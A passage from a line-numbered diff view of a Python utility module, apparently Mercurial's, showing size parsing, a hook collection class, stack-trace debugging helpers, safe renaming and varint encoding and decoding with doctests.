3394 3393 (b'm', 2 ** 20),
3395 3394 (b'k', 2 ** 10),
3396 3395 (b'g', 2 ** 30),
3397 3396 (b'kb', 2 ** 10),
3398 3397 (b'mb', 2 ** 20),
3399 3398 (b'gb', 2 ** 30),
3400 3399 (b'b', 1),
3401 3400 )
3402 3401
3403 3402
3404 3403 def sizetoint(s):
3405 3404 '''Convert a space specifier to a byte count.
3406 3405
3407 3406 >>> sizetoint(b'30')
3408 3407 30
3409 3408 >>> sizetoint(b'2.2kb')
3410 3409 2252
3411 3410 >>> sizetoint(b'6M')
3412 3411 6291456
3413 3412 '''
3414 3413 t = s.strip().lower()
3415 3414 try:
3416 3415 for k, u in _sizeunits:
3417 3416 if t.endswith(k):
3418 3417 return int(float(t[: -len(k)]) * u)
3419 3418 return int(t)
3420 3419 except ValueError:
3421 3420 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3422 3421
3423 3422
3424 3423 class hooks(object):
3425 3424 '''A collection of hook functions that can be used to extend a
3426 3425 function's behavior. Hooks are called in lexicographic order,
3427 3426 based on the names of their sources.'''
3428 3427
3429 3428 def __init__(self):
3430 3429 self._hooks = []
3431 3430
3432 3431 def add(self, source, hook):
3433 3432 self._hooks.append((source, hook))
3434 3433
3435 3434 def __call__(self, *args):
3436 3435 self._hooks.sort(key=lambda x: x[0])
3437 3436 results = []
3438 3437 for source, hook in self._hooks:
3439 3438 results.append(hook(*args))
3440 3439 return results
3441 3440
3442 3441
3443 3442 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3444 3443 '''Yields lines for a nicely formatted stacktrace.
3445 3444 Skips the 'skip' last entries, then return the last 'depth' entries.
3446 3445 Each file+linenumber is formatted according to fileline.
3447 3446 Each line is formatted according to line.
3448 3447 If line is None, it yields:
3449 3448 length of longest filepath+line number,
3450 3449 filepath+linenumber,
3451 3450 function
3452 3451
3453 3452 Not be used in production code but very convenient while developing.
3454 3453 '''
3455 3454 entries = [
3456 3455 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3457 3456 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3458 3457 ][-depth:]
3459 3458 if entries:
3460 3459 fnmax = max(len(entry[0]) for entry in entries)
3461 3460 for fnln, func in entries:
3462 3461 if line is None:
3463 3462 yield (fnmax, fnln, func)
3464 3463 else:
3465 3464 yield line % (fnmax, fnln, func)
3466 3465
3467 3466
3468 3467 def debugstacktrace(
3469 3468 msg=b'stacktrace',
3470 3469 skip=0,
3471 3470 f=procutil.stderr,
3472 3471 otherf=procutil.stdout,
3473 3472 depth=0,
3474 3473 ):
3475 3474 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3476 3475 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3477 3476 By default it will flush stdout first.
3478 3477 It can be used everywhere and intentionally does not require an ui object.
3479 3478 Not be used in production code but very convenient while developing.
3480 3479 '''
3481 3480 if otherf:
3482 3481 otherf.flush()
3483 3482 f.write(b'%s at:\n' % msg.rstrip())
3484 3483 for line in getstackframes(skip + 1, depth=depth):
3485 3484 f.write(line)
3486 3485 f.flush()
3487 3486
3488 3487
3489 3488 # convenient shortcut
3490 3489 dst = debugstacktrace
3491 3490
3492 3491
3493 3492 def safename(f, tag, ctx, others=None):
3494 3493 """
3495 3494 Generate a name that it is safe to rename f to in the given context.
3496 3495
3497 3496 f: filename to rename
3498 3497 tag: a string tag that will be included in the new name
3499 3498 ctx: a context, in which the new name must not exist
3500 3499 others: a set of other filenames that the new name must not be in
3501 3500
3502 3501 Returns a file name of the form oldname~tag[~number] which does not exist
3503 3502 in the provided context and is not in the set of other names.
3504 3503 """
3505 3504 if others is None:
3506 3505 others = set()
3507 3506
3508 3507 fn = b'%s~%s' % (f, tag)
3509 3508 if fn not in ctx and fn not in others:
3510 3509 return fn
3511 3510 for n in itertools.count(1):
3512 3511 fn = b'%s~%s~%s' % (f, tag, n)
3513 3512 if fn not in ctx and fn not in others:
3514 3513 return fn
3515 3514
3516 3515
3517 3516 def readexactly(stream, n):
3518 3517 '''read n bytes from stream.read and abort if less was available'''
3519 3518 s = stream.read(n)
3520 3519 if len(s) < n:
3521 3520 raise error.Abort(
3522 3521 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3523 3522 % (len(s), n)
3524 3523 )
3525 3524 return s
3526 3525
3527 3526
3528 3527 def uvarintencode(value):
3529 3528 """Encode an unsigned integer value to a varint.
3530 3529
3531 3530 A varint is a variable length integer of 1 or more bytes. Each byte
3532 3531 except the last has the most significant bit set. The lower 7 bits of
3533 3532 each byte store the 2's complement representation, least significant group
3534 3533 first.
3535 3534
3536 3535 >>> uvarintencode(0)
3537 3536 '\\x00'
3538 3537 >>> uvarintencode(1)
3539 3538 '\\x01'
3540 3539 >>> uvarintencode(127)
3541 3540 '\\x7f'
3542 3541 >>> uvarintencode(1337)
3543 3542 '\\xb9\\n'
3544 3543 >>> uvarintencode(65536)
3545 3544 '\\x80\\x80\\x04'
3546 3545 >>> uvarintencode(-1)
3547 3546 Traceback (most recent call last):
3548 3547 ...
3549 3548 ProgrammingError: negative value for uvarint: -1
3550 3549 """
3551 3550 if value < 0:
3552 3551 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3553 3552 bits = value & 0x7F
3554 3553 value >>= 7
3555 3554 bytes = []
3556 3555 while value:
3557 3556 bytes.append(pycompat.bytechr(0x80 | bits))
3558 3557 bits = value & 0x7F
3559 3558 value >>= 7
3560 3559 bytes.append(pycompat.bytechr(bits))
3561 3560
3562 3561 return b''.join(bytes)
3563 3562
3564 3563
3565 3564 def uvarintdecodestream(fh):
3566 3565 """Decode an unsigned variable length integer from a stream.
3567 3566
3568 3567 The passed argument is anything that has a ``.read(N)`` method.
3569 3568
3570 3569 >>> try:
3571 3570 ... from StringIO import StringIO as BytesIO
3572 3571 ... except ImportError:
3573 3572 ... from io import BytesIO
3574 3573 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3575 3574 0
3576 3575 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3577 3576 1
3578 3577 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3579 3578 127
3580 3579 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3581 3580 1337
3582 3581 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3583 3582 65536
3584 3583 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3585 3584 Traceback (most recent call last):
3586 3585 ...
3587 3586 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3588 3587 """
3589 3588 result = 0
3590 3589 shift = 0
3591 3590 while True:
3592 3591 byte = ord(readexactly(fh, 1))
3593 3592 result |= (byte & 0x7F) << shift
3594 3593 if not (byte & 0x80):
3595 3594 return result
3596 3595 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now